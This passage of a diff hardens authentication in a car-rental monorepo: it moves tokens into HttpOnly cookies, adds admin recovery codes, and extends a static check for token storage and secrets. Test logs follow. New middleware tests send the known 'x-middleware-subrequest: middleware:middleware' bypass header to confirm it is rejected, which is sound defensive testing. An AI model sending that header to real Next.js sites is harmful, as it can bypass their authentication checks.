+ const data = await apiFetch<{ unread: number }>('/notifications/unread-count')
+ setUnreadCount(data.unread)
+- } catch {}
++ } catch {
++ setUnreadCount(0)
++ }
+ }
+
+ useEffect(() => {
+@@ -89,15 +81,12 @@
+ }, [])
+
+ useEffect(() => {
+- const token = window.localStorage.getItem(EMPLOYEE_TOKEN_KEY)
+- if (!token) return
+-
+ const socketOrigin = resolveSocketOrigin()
+ if (!socketOrigin) return
+
+ const socket = io(socketOrigin, {
+ autoConnect: false,
+- auth: { token },
++ withCredentials: true,
+ transports: ['polling', 'websocket'],
+ })
+
+@@ -121,11 +110,6 @@
+
+ useEffect(() => {
+ if (!showNotifs) return
+- if (!getEmployeeToken()) {
+- setNotifications([])
+- setLoadingNotifs(false)
+- return
+- }
+
+ let cancelled = false
+ setLoadingNotifs(true)
+@@ -157,12 +141,6 @@
+ }, [pathname])
+
+ useEffect(() => {
+- const token = window.localStorage.getItem(EMPLOYEE_TOKEN_KEY)
+- if (!token) {
+- setUserInitials(computeInitials(dict.workspaceUser))
+- return
+- }
+-
+ const cached = window.localStorage.getItem(EMPLOYEE_PROFILE_KEY)
+ if (cached) {
+ try {
+diff -ruN '--exclude=node_modules' '--exclude=.git' '--exclude=.next' '--exclude=dist' '--exclude=build' /mnt/data/car_project_leftover_before/apps/dashboard/src/lib/api.ts /mnt/data/car_project_leftover/apps/dashboard/src/lib/api.ts
+--- /mnt/data/car_project_leftover_before/apps/dashboard/src/lib/api.ts 2026-06-09 20:04:58.000000000 +0000
++++ /mnt/data/car_project_leftover/apps/dashboard/src/lib/api.ts 2026-06-09 23:26:56.191813135 +0000
+@@ -3,16 +3,9 @@
+ ? (process.env.API_INTERNAL_URL || 'http://localhost:4000/api/v1')
+ : (process.env.NEXT_PUBLIC_API_URL || '/dashboard/api/v1')
+
+-export const EMPLOYEE_SESSION_COOKIE = 'employee_session'
+-export const EMPLOYEE_TOKEN_KEY = EMPLOYEE_SESSION_COOKIE
+ export const EMPLOYEE_PROFILE_KEY = 'employee_profile'
+
+-async function getAuthToken(): Promise {
+- return null
+-}
+-
+ export async function apiFetch(path: string, options?: RequestInit): Promise {
+- const token = await getAuthToken()
+ const isFormData = typeof FormData !== 'undefined' && options?.body instanceof FormData
+
+ const headers: Record = {
+@@ -23,10 +16,6 @@
+ headers['Content-Type'] = 'application/json'
+ }
+
+- if (token) {
+- headers['Authorization'] = `Bearer ${token}`
+- }
+-
+ const res = await fetch(`${API_BASE}${path}`, {
+ ...options,
+ headers,
+diff -ruN '--exclude=node_modules' '--exclude=.git' '--exclude=.next' '--exclude=dist' '--exclude=build' /mnt/data/car_project_leftover_before/apps/dashboard/src/middleware.test.ts /mnt/data/car_project_leftover/apps/dashboard/src/middleware.test.ts
+--- /mnt/data/car_project_leftover_before/apps/dashboard/src/middleware.test.ts 2026-06-09 20:03:48.000000000 +0000
++++ /mnt/data/car_project_leftover/apps/dashboard/src/middleware.test.ts 2026-06-09 23:32:41.502961148 +0000
+@@ -1,15 +1,20 @@
+ import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest'
+
+-const nextServer = vi.hoisted(() => ({
+- redirect: vi.fn((url: URL) => ({ kind: 'redirect', url: url.toString() })),
+- next: vi.fn(() => ({ kind: 'next' })),
+-}))
++const nextServer = vi.hoisted(() => {
++ const redirect = vi.fn((url: URL) => ({ kind: 'redirect', url: url.toString() }))
++ const next = vi.fn(() => ({ kind: 'next' }))
++ const MockNextResponse = vi.fn((body?: string, init?: { status?: number }) => ({
++ kind: 'response',
++ body,
++ status: init?.status,
++ })) as any
++ MockNextResponse.redirect = redirect
++ MockNextResponse.next = next
++ return { redirect, next, MockNextResponse }
++})
+
+ vi.mock('next/server', () => ({
+- NextResponse: {
+- redirect: nextServer.redirect,
+- next: nextServer.next,
+- },
++ NextResponse: nextServer.MockNextResponse,
+ }))
+
+ function cloneableUrl(input: string): URL {
+@@ -27,6 +32,7 @@
+ },
+ headers: {
+ get: vi.fn((name: string) => headers.get(name.toLowerCase()) ?? null),
++ has: vi.fn((name: string) => headers.has(name.toLowerCase())),
+ },
+ }
+ }
+@@ -48,6 +54,16 @@
+ })
+
+ describe('dashboard middleware', () => {
++
++ it('rejects middleware subrequest headers at the app layer', async () => {
++ const { default: middleware } = await loadMiddleware()
++
++ const response = middleware(request('https://workspace.example.com/dashboard', {
++ headers: { 'x-middleware-subrequest': 'middleware:middleware' },
++ }) as never)
++
++ expect(response).toEqual({ kind: 'response', body: 'Unsupported internal request header', status: 400 })
++ })
+ it('deduplicates accidental repeated /dashboard prefixes before auth handling', async () => {
+ const { default: middleware } = await loadMiddleware()
+
+diff -ruN '--exclude=node_modules' '--exclude=.git' '--exclude=.next' '--exclude=dist' '--exclude=build' /mnt/data/car_project_leftover_before/apps/dashboard/src/middleware.ts /mnt/data/car_project_leftover/apps/dashboard/src/middleware.ts
+--- /mnt/data/car_project_leftover_before/apps/dashboard/src/middleware.ts 2026-06-09 20:03:48.000000000 +0000
++++ /mnt/data/car_project_leftover/apps/dashboard/src/middleware.ts 2026-06-09 23:29:06.360416065 +0000
+@@ -4,6 +4,12 @@
+ const PUBLIC_DASHBOARD_PREFIXES = ['/dashboard/sign-in', '/dashboard/forgot-password']
+ const MARKETPLACE_URL = process.env.NEXT_PUBLIC_MARKETPLACE_URL ?? 'http://localhost:3000'
+
++
++function rejectInternalSubrequest(req: NextRequest): NextResponse | null {
++ if (!req.headers.has('x-middleware-subrequest')) return null
++ return new NextResponse('Unsupported internal request header', { status: 400 })
++}
++
+ function dedupeDashboardPath(pathname: string): string {
+ return pathname.replace(/^\/dashboard\/dashboard(?=\/|$)/, '/dashboard')
+ }
+@@ -54,6 +60,9 @@
+ }
+
+ export default function middleware(req: NextRequest) {
++ const rejected = rejectInternalSubrequest(req)
++ if (rejected) return rejected
++
+ const dedupedPath = dedupeDashboardPath(req.nextUrl.pathname)
+ if (dedupedPath !== req.nextUrl.pathname) {
+ const redirectUrl = req.nextUrl.clone()
+diff -ruN '--exclude=node_modules' '--exclude=.git' '--exclude=.next' '--exclude=dist' '--exclude=build' /mnt/data/car_project_leftover_before/apps/marketplace/src/middleware.test.ts /mnt/data/car_project_leftover/apps/marketplace/src/middleware.test.ts
+--- /mnt/data/car_project_leftover_before/apps/marketplace/src/middleware.test.ts 2026-06-09 19:56:56.000000000 +0000
++++ /mnt/data/car_project_leftover/apps/marketplace/src/middleware.test.ts 2026-06-09 23:32:41.504284890 +0000
+@@ -1,19 +1,24 @@
+ import { beforeEach, describe, expect, it, vi } from 'vitest'
+
+-const nextServer = vi.hoisted(() => ({
+- next: vi.fn((init?: { request?: { headers?: Headers } }) => ({
++const nextServer = vi.hoisted(() => {
++ const next = vi.fn((init?: { request?: { headers?: Headers } }) => ({
+ kind: 'next',
+ init,
+ cookies: {
+ set: vi.fn(),
+ },
+- })),
+-}))
++ }))
++ const MockNextResponse = vi.fn((body?: string, init?: { status?: number }) => ({
++ kind: 'response',
++ body,
++ status: init?.status,
++ })) as any
++ MockNextResponse.next = next
++ return { next, MockNextResponse }
++})
+
+ vi.mock('next/server', () => ({
+- NextResponse: {
+- next: nextServer.next,
+- },
++ NextResponse: nextServer.MockNextResponse,
+ }))
+
+ function request(options: { cookies?: Record; headers?: Record } = {}) {
+@@ -35,6 +40,17 @@
+ })
+
+ describe('marketplace middleware language bootstrap', () => {
++
++ it('rejects middleware subrequest headers before language handling', async () => {
++ const { middleware } = await import('./middleware')
++
++ const response = middleware(request({
++ headers: { 'x-middleware-subrequest': 'middleware:middleware' },
++ }) as never) as any
++
++ expect(response).toEqual({ kind: 'response', body: 'Unsupported internal request header', status: 400 })
++ expect(nextServer.next).not.toHaveBeenCalled()
++ })
+ it('does nothing when the canonical shared language cookie is valid', async () => {
+ const { middleware } = await import('./middleware')
+
+diff -ruN '--exclude=node_modules' '--exclude=.git' '--exclude=.next' '--exclude=dist' '--exclude=build' /mnt/data/car_project_leftover_before/apps/marketplace/src/middleware.ts /mnt/data/car_project_leftover/apps/marketplace/src/middleware.ts
+--- /mnt/data/car_project_leftover_before/apps/marketplace/src/middleware.ts 2026-06-09 19:40:36.000000000 +0000
++++ /mnt/data/car_project_leftover/apps/marketplace/src/middleware.ts 2026-06-09 23:29:06.361354861 +0000
+@@ -4,6 +4,12 @@
+ const SHARED_LANGUAGE_COOKIE = 'rentaldrivego-language'
+ const MARKETPLACE_LANGUAGE_COOKIE = 'marketplace-language'
+
++
++function rejectInternalSubrequest(request: NextRequest): NextResponse | null {
++ if (!request.headers.has('x-middleware-subrequest')) return null
++ return new NextResponse('Unsupported internal request header', { status: 400 })
++}
++
+ function isValidLanguage(val: string | null | undefined): val is 'en' | 'fr' | 'ar' {
+ return val === 'en' || val === 'fr' || val === 'ar'
+ }
+@@ -18,6 +24,9 @@
+ }
+
+ export function middleware(request: NextRequest) {
++ const rejected = rejectInternalSubrequest(request)
++ if (rejected) return rejected
++
+ const sharedLang = request.cookies.get(SHARED_LANGUAGE_COOKIE)?.value
+
+ // Already has the canonical language cookie — no action needed
+diff -ruN '--exclude=node_modules' '--exclude=.git' '--exclude=.next' '--exclude=dist' '--exclude=build' /mnt/data/car_project_leftover_before/docs/project-design/COOKIE_POLICY.md /mnt/data/car_project_leftover/docs/project-design/COOKIE_POLICY.md
+--- /mnt/data/car_project_leftover_before/docs/project-design/COOKIE_POLICY.md 2026-06-09 19:40:36.000000000 +0000
++++ /mnt/data/car_project_leftover/docs/project-design/COOKIE_POLICY.md 2026-06-09 23:33:22.297991839 +0000
+@@ -28,13 +28,13 @@
+
+ | Field | Value |
+ |---|---|
+-| **Name** | `employee_token` |
++| **Name** | `employee_session` |
+ | **Category** | Strictly necessary |
+ | **Duration** | 8 hours (session) |
+ | **Scope** | All pages (`path=/`) |
+ | **Third-party** | No |
+
+-**Purpose:** This cookie is set when an employee or administrator signs in to the RentalDriveGo workspace. It stores a cryptographically signed token (JWT) that proves your identity to the platform. Without this cookie, the dashboard and protected API endpoints cannot verify who you are and will redirect you to the sign-in page.
++**Purpose:** This cookie is set when an employee signs in to the RentalDriveGo workspace. Admins receive a separate `admin_session` cookie. It stores a cryptographically signed token (JWT) that proves your identity to the platform. Without this cookie, the dashboard and protected API endpoints cannot verify who you are and will redirect you to the sign-in page.
+
+ **When it is set:** On a successful sign-in.
+ **When it is removed:** When you sign out, or automatically after 8 hours of inactivity.
+@@ -148,9 +148,7 @@
+
+ ## 7. Security
+
+-The authentication cookie (`employee_token`) is signed and expires after 8 hours. It is transmitted over HTTPS in production. We recommend using the platform on trusted devices only and signing out when you are finished.
+-
+-Note for our technical team: the `HttpOnly` and `Secure` flags should be added to `employee_token` in a future release to further limit exposure to XSS and mixed-content attacks.
++The authentication cookies (`employee_session` and `admin_session`) are signed, HttpOnly, and expire after the configured session window. They use `Secure` in production and are not readable by JavaScript. We recommend using the platform on trusted devices only and signing out when you are finished.
+
+ ---
+
+diff -ruN '--exclude=node_modules' '--exclude=.git' '--exclude=.next' '--exclude=dist' '--exclude=build' /mnt/data/car_project_leftover_before/memory/project_auth_architecture.md /mnt/data/car_project_leftover/memory/project_auth_architecture.md
+--- /mnt/data/car_project_leftover_before/memory/project_auth_architecture.md 2026-06-09 19:40:36.000000000 +0000
++++ /mnt/data/car_project_leftover/memory/project_auth_architecture.md 2026-06-09 23:33:22.297150216 +0000
+@@ -6,21 +6,21 @@
+
+ Three-tier SaaS auth system (RentalDriveGo car management monorepo):
+
+-1. **Admins** — JWT auth (`type: 'admin'`), stored in `localStorage.admin_token` in admin app (port 3002)
+-2. **Employees (Owner/Manager/Agent)** — Clerk OAuth when configured, local JWT (`type: 'employee'`) when Clerk is not configured. Token stored in `localStorage.employee_token` + `employee_token` cookie in dashboard app (port 3001)
++1. **Admins** — JWT auth (`type: 'admin'`) issued into the HttpOnly `admin_session` cookie in the admin app (port 3002)
++2. **Employees (Owner/Manager/Agent)** — Clerk OAuth when configured, local JWT (`type: 'employee'`) when Clerk is not configured. The API stores the session in the HttpOnly `employee_session` cookie; browser code may cache profile/preferences, but not auth tokens.
+ 3. **Renters** — JWT infrastructure exists but login is currently disabled (returns 403)
+
+ **Unified login page:** `apps/dashboard/src/app/sign-in/[[...sign-in]]/page.tsx`
+ - Shows Clerk component when `NEXT_PUBLIC_CLERK_PUBLISHABLE_KEY` is a real key
+ - Otherwise shows local form that tries employee login, then admin login
+-- Admin users are redirected to admin app via `${ADMIN_URL}/auth-redirect#token=xxx`
++- Admin users are redirected after the API sets `admin_session`; URL-fragment token handoff is legacy and should not return
+
+ **Key API endpoints:**
+-- `POST /api/v1/auth/employee/login` — local employee auth (email + password → JWT)
+-- `POST /api/v1/admin/auth/login` — admin auth (email + password + optional TOTP → JWT)
++- `POST /api/v1/auth/employee/login` — local employee auth (email + password → HttpOnly session cookie)
++- `POST /api/v1/admin/auth/login` — admin auth (email + password + TOTP or recovery code when enabled → HttpOnly session cookie)
+ - `POST /api/v1/auth/company/signup` — company signup (accepts optional `password` field)
+
+-**requireCompanyAuth middleware** — accepts local employee JWT OR Clerk session token.
++**requireCompanyAuth middleware** — accepts the `employee_session` HttpOnly cookie, and still supports trusted Bearer tokens for server/mobile/integration contexts.
+
+ **Why:** Clerk keys were placeholder values (`pk_test_your_real_publishable_key_here`), making the login page non-functional. Added local JWT auth as a fully working fallback.
+
+diff -ruN '--exclude=node_modules' '--exclude=.git' '--exclude=.next' '--exclude=dist' '--exclude=build' /mnt/data/car_project_leftover_before/packages/database/prisma/migrations/20260610001500_add_admin_recovery_codes/migration.sql /mnt/data/car_project_leftover/packages/database/prisma/migrations/20260610001500_add_admin_recovery_codes/migration.sql
+--- /mnt/data/car_project_leftover_before/packages/database/prisma/migrations/20260610001500_add_admin_recovery_codes/migration.sql 1970-01-01 00:00:00.000000000 +0000
++++ /mnt/data/car_project_leftover/packages/database/prisma/migrations/20260610001500_add_admin_recovery_codes/migration.sql 2026-06-09 23:30:23.805811712 +0000
+@@ -0,0 +1,16 @@
++-- CreateTable
++CREATE TABLE "admin_recovery_codes" (
++ "id" TEXT NOT NULL,
++ "adminUserId" TEXT NOT NULL,
++ "codeHash" TEXT NOT NULL,
++ "usedAt" TIMESTAMP(3),
++ "createdAt" TIMESTAMP(3) NOT NULL DEFAULT CURRENT_TIMESTAMP,
++
++ CONSTRAINT "admin_recovery_codes_pkey" PRIMARY KEY ("id")
++);
++
++-- CreateIndex
++CREATE INDEX "admin_recovery_codes_adminUserId_usedAt_idx" ON "admin_recovery_codes"("adminUserId", "usedAt");
++
++-- AddForeignKey
++ALTER TABLE "admin_recovery_codes" ADD CONSTRAINT "admin_recovery_codes_adminUserId_fkey" FOREIGN KEY ("adminUserId") REFERENCES "admin_users"("id") ON DELETE CASCADE ON UPDATE CASCADE;
+diff -ruN '--exclude=node_modules' '--exclude=.git' '--exclude=.next' '--exclude=dist' '--exclude=build' /mnt/data/car_project_leftover_before/packages/database/prisma/schema.prisma /mnt/data/car_project_leftover/packages/database/prisma/schema.prisma
+--- /mnt/data/car_project_leftover_before/packages/database/prisma/schema.prisma 2026-06-09 23:18:30.000000000 +0000
++++ /mnt/data/car_project_leftover/packages/database/prisma/schema.prisma 2026-06-09 23:30:23.805117403 +0000
+@@ -1793,8 +1793,9 @@
+ passwordResetToken String? @unique
+ passwordResetExpiresAt DateTime?
+
+- auditLogs AuditLog[]
+- permissions AdminPermission[]
++ auditLogs AuditLog[]
++ permissions AdminPermission[]
++ recoveryCodes AdminRecoveryCode[]
+
+ createdAt DateTime @default(now())
+ updatedAt DateTime @updatedAt
+@@ -1813,6 +1814,19 @@
+ @@map("admin_permissions")
+ }
+
++
++model AdminRecoveryCode {
++ id String @id @default(cuid())
++ adminUserId String
++ adminUser AdminUser @relation(fields: [adminUserId], references: [id], onDelete: Cascade)
++ codeHash String
++ usedAt DateTime?
++ createdAt DateTime @default(now())
++
++ @@index([adminUserId, usedAt])
++ @@map("admin_recovery_codes")
++}
++
+ model AuditLog {
+ id String @id @default(cuid())
+ adminUserId String
+diff -ruN '--exclude=node_modules' '--exclude=.git' '--exclude=.next' '--exclude=dist' '--exclude=build' /mnt/data/car_project_leftover_before/scripts/security-static-check.mjs /mnt/data/car_project_leftover/scripts/security-static-check.mjs
+--- /mnt/data/car_project_leftover_before/scripts/security-static-check.mjs 2026-06-09 19:48:22.000000000 +0000
++++ /mnt/data/car_project_leftover/scripts/security-static-check.mjs 2026-06-09 23:30:00.568225381 +0000
+@@ -17,7 +17,7 @@
+ walk(root)
+
+ const findings = []
+-const authTokenStorage = /localStorage\.(setItem|getItem)\(['"](?:employee_token|admin_token|renter_token)['"]|document\.cookie\s*=\s*['"](?:employee_token|admin_token|renter_token)=/i
++const authTokenStorage = /localStorage\.(?:setItem|getItem|removeItem)\(\s*(?:['"](?:employee_token|admin_token|renter_token|employee_session|admin_session|renter_session)['"]|[A-Z0-9_]*TOKEN[A-Z0-9_]*)|document\.cookie\s*=\s*['"](?:employee_token|admin_token|renter_token|employee_session|admin_session|renter_session)=/i
+ const rawWebhookStringify = /JSON\.stringify\(req\.body\)/i
+ const secretAssignment = /^(JWT_SECRET|DATABASE_URL|POSTGRES_PASSWORD|SMTP_PASSWORD|REGISTRY_PASSWORD|REGISTRY_HTTP_SECRET|AMANPAY_WEBHOOK_SECRET|PAYPAL_WEBHOOK_SECRET|CLERK_SECRET_KEY|RESEND_API_KEY|MAIL_PASSWORD|FIREBASE_PRIVATE_KEY|TWILIO_AUTH_TOKEN|PAYPAL_CLIENT_SECRET|AMANPAY_SECRET_KEY|CLOUDINARY_API_SECRET|ADMIN_SEED_PASSWORD)\s*=\s*(.+)$/i
+
diff --git a/security_hardening_leftover_changed_files.txt b/security_hardening_leftover_changed_files.txt
new file mode 100644
index 0000000..7906e6b
--- /dev/null
+++ b/security_hardening_leftover_changed_files.txt
@@ -0,0 +1,32 @@
+A SECURITY_HARDENING_LEFTOVER_APPLIED_REPORT.md
+M apps/admin/src/app/dashboard/admin-users/page.tsx
+M apps/admin/src/app/dashboard/companies/[id]/page.tsx
+M apps/admin/src/app/dashboard/containers/page.tsx
+M apps/admin/src/app/dashboard/pricing/page.tsx
+M apps/admin/src/app/dashboard/renters/page.tsx
+M apps/admin/src/app/forgot-password/page.tsx
+M apps/admin/src/app/reset-password/page.tsx
+A apps/admin/src/middleware.ts
+M apps/api/src/app.ts
+M apps/api/src/index.ts
+M apps/api/src/middleware/rateLimiter.ts
+M apps/api/src/modules/admin/admin.repo.ts
+M apps/api/src/modules/admin/admin.routes.ts
+M apps/api/src/modules/admin/admin.schemas.ts
+M apps/api/src/modules/admin/admin.service.ts
+M apps/api/src/swagger/openapi.ts
+M apps/dashboard/README.md
+M apps/dashboard/src/app/(dashboard)/team/page.tsx
+M apps/dashboard/src/app/sign-in/[[...sign-in]]/SignInPageClient.tsx
+M apps/dashboard/src/components/layout/Sidebar.tsx
+M apps/dashboard/src/components/layout/TopBar.tsx
+M apps/dashboard/src/lib/api.ts
+M apps/dashboard/src/middleware.test.ts
+M apps/dashboard/src/middleware.ts
+M apps/marketplace/src/middleware.test.ts
+M apps/marketplace/src/middleware.ts
+M docs/project-design/COOKIE_POLICY.md
+M memory/project_auth_architecture.md
+A packages/database/prisma/migrations/20260610001500_add_admin_recovery_codes/migration.sql
+M packages/database/prisma/schema.prisma
+M scripts/security-static-check.mjs
diff --git a/test-admin-output-after-db-generate.txt b/test-admin-output-after-db-generate.txt
new file mode 100644
index 0000000..b39f499
--- /dev/null
+++ b/test-admin-output-after-db-generate.txt
@@ -0,0 +1,53 @@
+
+> rentaldrivego@1.0.0 test:admin
+> npm run test --workspace @rentaldrivego/admin
+
+
+> @rentaldrivego/admin@1.0.0 test
+> vitest run
+
+[33mThe CJS build of Vite's Node API is deprecated. See https://vite.dev/guide/troubleshooting.html#vite-cjs-node-api-deprecated for more details.[39m
+
+ RUN v1.6.1 /Volumes/ExternalApps/Documents/car_management_system/apps/admin
+
+ ✓ src/lib/api.test.ts (3 tests) 11ms
+ ❯ src/lib/appUrls.test.ts (5 tests | 1 failed) 6ms
+ ❯ src/lib/appUrls.test.ts > admin app URL resolution > resolves server app URLs from forwarded host and protocol
+ → expected 'https://admin.example.com:3002/admin' to be 'https://admin.example.com/admin' // Object.is equality
+ ✓ src/app/root-redirects.test.ts (1 test) 3ms
+ ✓ src/app/favicon.ico/route.test.ts (2 tests) 21ms
+ ✓ src/components/PublicShell.test.ts (2 tests) 3ms
+
+⎯⎯⎯⎯⎯⎯⎯ Failed Tests 1 ⎯⎯⎯⎯⎯⎯⎯
+
+ FAIL src/lib/appUrls.test.ts > admin app URL resolution > resolves server app URLs from forwarded host and protocol
+AssertionError: expected 'https://admin.example.com:3002/admin' to be 'https://admin.example.com/admin' // Object.is equality
+
+- Expected
++ Received
+
+- https://admin.example.com/admin
++ https://admin.example.com:3002/admin
+
+ ❯ src/lib/appUrls.test.ts:31:94
+ 29|
+ 30| it('resolves server app URLs from forwarded host and protocol', () =…
+ 31| expect(resolveServerAppUrl('http://localhost:3002/admin', 'admin.e…
+ | ^
+ 32| })
+ 33|
+
+⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯[1/1]⎯
+
+ Test Files 1 failed | 4 passed (5)
+ Tests 1 failed | 12 passed (13)
+ Start at 00:10:14
+ Duration 226ms (transform 118ms, setup 0ms, collect 180ms, tests 44ms, environment 0ms, prepare 305ms)
+
+npm error Lifecycle script `test` failed with error:
+npm error code 1
+npm error path /Volumes/ExternalApps/Documents/car_management_system/apps/admin
+npm error workspace @rentaldrivego/admin@1.0.0
+npm error location /Volumes/ExternalApps/Documents/car_management_system/apps/admin
+npm error command failed
+npm error command sh -c vitest run
diff --git a/test-api-output-after-db-generate.txt b/test-api-output-after-db-generate.txt
new file mode 100644
index 0000000..3bd6ceb
--- /dev/null
+++ b/test-api-output-after-db-generate.txt
@@ -0,0 +1,1221 @@
+
+> rentaldrivego@1.0.0 test:api
+> npm run test --workspace @rentaldrivego/api
+
+
+> @rentaldrivego/api@1.0.0 pretest
+> npm run build --workspace @rentaldrivego/types
+
+
+> @rentaldrivego/types@1.0.0 build
+> tsc
+
+
+> @rentaldrivego/api@1.0.0 test
+> vitest run
+
+[33mThe CJS build of Vite's Node API is deprecated. See https://vite.dev/guide/troubleshooting.html#vite-cjs-node-api-deprecated for more details.[39m
+
+ RUN v1.6.1 /Volumes/ExternalApps/Documents/car_management_system/apps/api
+
+ ❯ src/modules/site/site.service.boundary.test.ts (5 tests | 3 failed) 14ms
+ ❯ src/modules/site/site.service.boundary.test.ts > site.service public booking/payment boundaries > calculates booking totals from base rate, free-day promo, pricing rules, insurance and additional drivers
+ → Cannot read properties of undefined (reading 'catch')
+ ❯ src/modules/site/site.service.boundary.test.ts > site.service public booking/payment boundaries > rejects payment initialization for already-paid reservations before provider calls
+ → expected AppError: Booking access token is required { …(3) } to match object { statusCode: 409, …(1) }
+(3 matching properties omitted from actual)
+ ❯ src/modules/site/site.service.boundary.test.ts > site.service public booking/payment boundaries > blocks payment when the primary or additional driver license requires review
+ → expected AppError: Booking access token is required { …(3) } to match object { statusCode: 409, …(1) }
+(3 matching properties omitted from actual)
+ ✓ src/modules/marketplace/marketplace.test.ts (16 tests) 17ms
+ ✓ src/modules/vehicles/vehicle.pricing.service.test.ts (7 tests) 8ms
+ ✓ src/modules/payments/payment.service.test.ts (7 tests) 8ms
+ ✓ src/modules/subscriptions/subscription.service.edge.test.ts (7 tests) 8ms
+ ✓ src/modules/reservations/reservation.test.ts (14 tests) 11ms
+ ✓ src/modules/vehicles/vehicle.test.ts (15 tests) 10ms
+ ❯ src/modules/site/site.test.ts (13 tests | 5 failed) 20ms
+ ❯ src/modules/site/site.test.ts > createBooking > creates a booking and returns reservation with requiresManualApproval flag
+ → [vitest] No "createReservationPublicAccess" export is defined on the "./site.repo" mock. Did you forget to return it from "vi.mock"?
+If you need to partially mock a module, you can use "importOriginal" helper inside:
+
+ ❯ src/modules/site/site.test.ts > initPayment — payment guard paths > throws AppError when reservation is already paid
+ → expected AppError: Booking access token is required { …(3) } to match object { error: 'already_paid' }
+(3 matching properties omitted from actual)
+ ❯ src/modules/site/site.test.ts > initPayment — payment guard paths > throws AppError when license review is required
+ → expected AppError: Booking access token is required { …(3) } to match object { error: 'license_review_required' }
+(3 matching properties omitted from actual)
+ ❯ src/modules/site/site.test.ts > initPayment — payment guard paths > throws AppError when PayPal is not configured
+ → expected AppError: Booking access token is required { …(3) } to match object { error: 'provider_not_configured' }
+(3 matching properties omitted from actual)
+ ❯ src/modules/site/site.test.ts > initPayment — payment guard paths > returns checkoutUrl when PayPal is configured
+ → Booking access token is required
+ ✓ src/modules/menu/menu.service.test.ts (2 tests) 4ms
+ ❯ src/modules/menu/menu.service.boundary.test.ts (7 tests | 4 failed) 13ms
+ ❯ src/modules/menu/menu.service.boundary.test.ts > menu.service mutation boundaries > rejects external links that are not HTTPS before any write
+ → expected AppError: External links must use HTTPS. { …(3) } to match object { statusCode: 400, …(1) }
+(3 matching properties omitted from actual)
+ ❯ src/modules/menu/menu.service.boundary.test.ts > menu.service mutation boundaries > rejects duplicate routes under the same parent with a conflict error
+ → expected AppError: Parent menu item was not found. { …(3) } to match object { statusCode: 409, …(1) }
+(3 matching properties omitted from actual)
+ ❯ src/modules/menu/menu.service.boundary.test.ts > menu.service mutation boundaries > protects required menu items from non-super-admin disable attempts
+ → expected AppError: Required system items can only … { …(3) } to match object { statusCode: 403, code: 'forbidden' }
+(3 matching properties omitted from actual)
+ ❯ src/modules/menu/menu.service.boundary.test.ts > menu.service mutation boundaries > rejects company assignments when any company is cancelled or missing
+ → expected AppError: Menu items can only be assigned… { …(3) } to match object { statusCode: 400, …(1) }
+(3 matching properties omitted from actual)
+ ✓ src/services/containerService.test.ts (4 tests) 8ms
+ ✓ src/middleware/requireAdminAuth.test.ts (9 tests) 7ms
+ ✓ src/modules/customers/customer.test.ts (12 tests) 38ms
+ ✓ src/modules/reservations/reservation.lifecycle.service.test.ts (5 tests) 6ms
+ ✓ src/modules/reviews/review.service.test.ts (5 tests) 8ms
+ ✓ src/modules/auth/auth.company.service.test.ts (6 tests) 6ms
+ ✓ src/modules/customers/customer.edge.test.ts (6 tests) 6ms
+ ✓ src/modules/analytics/analytics.service.test.ts (4 tests) 5ms
+ ✓ src/modules/auth/auth.employee.service.edge.test.ts (8 tests) 8ms
+ ❯ src/tests/api/auth-middleware.api.test.ts (8 tests | 2 failed) 55ms
+ ❯ src/tests/api/auth-middleware.api.test.ts > auth middleware API boundaries > rejects employee-protected routes when a renter token is used
+ → expected { error: 'invalid_token', …(2) } to deeply equal { error: 'invalid_token', …(2) }
+ ❯ src/tests/api/auth-middleware.api.test.ts > auth middleware API boundaries > allows valid admin tokens through protected admin read routes
+ → expected 403 to be 200 // Object.is equality
+ ❯ src/tests/api/public-validation.api.test.ts (8 tests | 1 failed) 58ms
+ ❯ src/tests/api/public-validation.api.test.ts > public validation API contracts > defaults site payment currency to MAD for valid public payment requests
+ → expected 400 to be 200 // Object.is equality
+ ✓ src/tests/api/auth-boundaries.api.test.ts (7 tests) 60ms
+ ✓ src/tests/api/operations.api.test.ts (10 tests) 73ms
+ ✓ src/modules/companies/company.service.edge.test.ts (7 tests) 8ms
+ ✓ src/tests/api/customer-notification-analytics.api.test.ts (7 tests) 79ms
+ ✓ src/tests/api/operations-validation.api.test.ts (6 tests) 60ms
+ ✓ src/tests/api/company-configuration.api.test.ts (7 tests) 90ms
+ ✓ src/modules/customers/customer.service.boundary.test.ts (6 tests) 6ms
+ ✓ src/middleware/requireApiKey.test.ts (6 tests) 10ms
+ ✓ src/modules/reservations/reservation.inspection.service.test.ts (5 tests) 8ms
+ ✓ src/modules/companies/company.test.ts (10 tests) 7ms
+ ✓ src/services/notificationService.test.ts (3 tests) 5ms
+ ✓ src/services/financialReportService.test.ts (4 tests) 9ms
+ ✓ src/modules/marketplace/marketplace.repo.edge.test.ts (6 tests) 6ms
+ ✓ src/middleware/requireCompanyAuth.test.ts (6 tests) 9ms
+ ❯ src/tests/api/employee-marketplace-notification.api.test.ts (0 test)
+ ✓ src/services/paypalService.test.ts (4 tests) 12ms
+ ✓ src/modules/vehicles/vehicle.service.edge.test.ts (5 tests) 6ms
+ ✓ src/modules/subscriptions/subscription.repo.edge.test.ts (6 tests) 8ms
+ ✓ src/services/vehicleAvailabilityService.test.ts (5 tests) 6ms
+stderr | src/services/notificationLocalizationService.boundary.test.ts > notificationLocalizationService formatting and fallback boundaries > throws a clear error when neither requested nor fallback templates exist
+[Notifications] Missing fr template for missing.template/EMAIL; falling back to en.
+
+ ✓ src/services/notificationLocalizationService.boundary.test.ts (8 tests) 15ms
+ ✓ src/modules/site/site.repo.edge.test.ts (5 tests) 5ms
+ ✓ src/modules/marketplace/marketplace.service.edge.test.ts (5 tests) 5ms
+ ✓ src/middleware/requireRenterAuth.test.ts (6 tests) 8ms
+ ✓ src/services/pricingRuleService.test.ts (3 tests) 5ms
+ ✓ src/modules/subscriptions/subscription.entitlement.test.ts (5 tests) 13ms
+ ❯ src/tests/api/feedback-offer-boundaries.api.test.ts (0 test)
+ ✓ src/modules/vehicles/vehicle.schemas.test.ts (7 tests) 7ms
+ ❯ src/tests/api/subscription-team-boundaries.api.test.ts (0 test)
+ ❯ src/tests/api/admin-billing.api.test.ts (6 tests | 5 failed) 73ms
+ ❯ src/tests/api/admin-billing.api.test.ts > admin billing API contracts > coerces list filters and requires finance access
+ → expected 403 to be 200 // Object.is equality
+ ❯ src/tests/api/admin-billing.api.test.ts > admin billing API contracts > rejects oversized billing pagination before service execution
+ → expected 403 to be 400 // Object.is equality
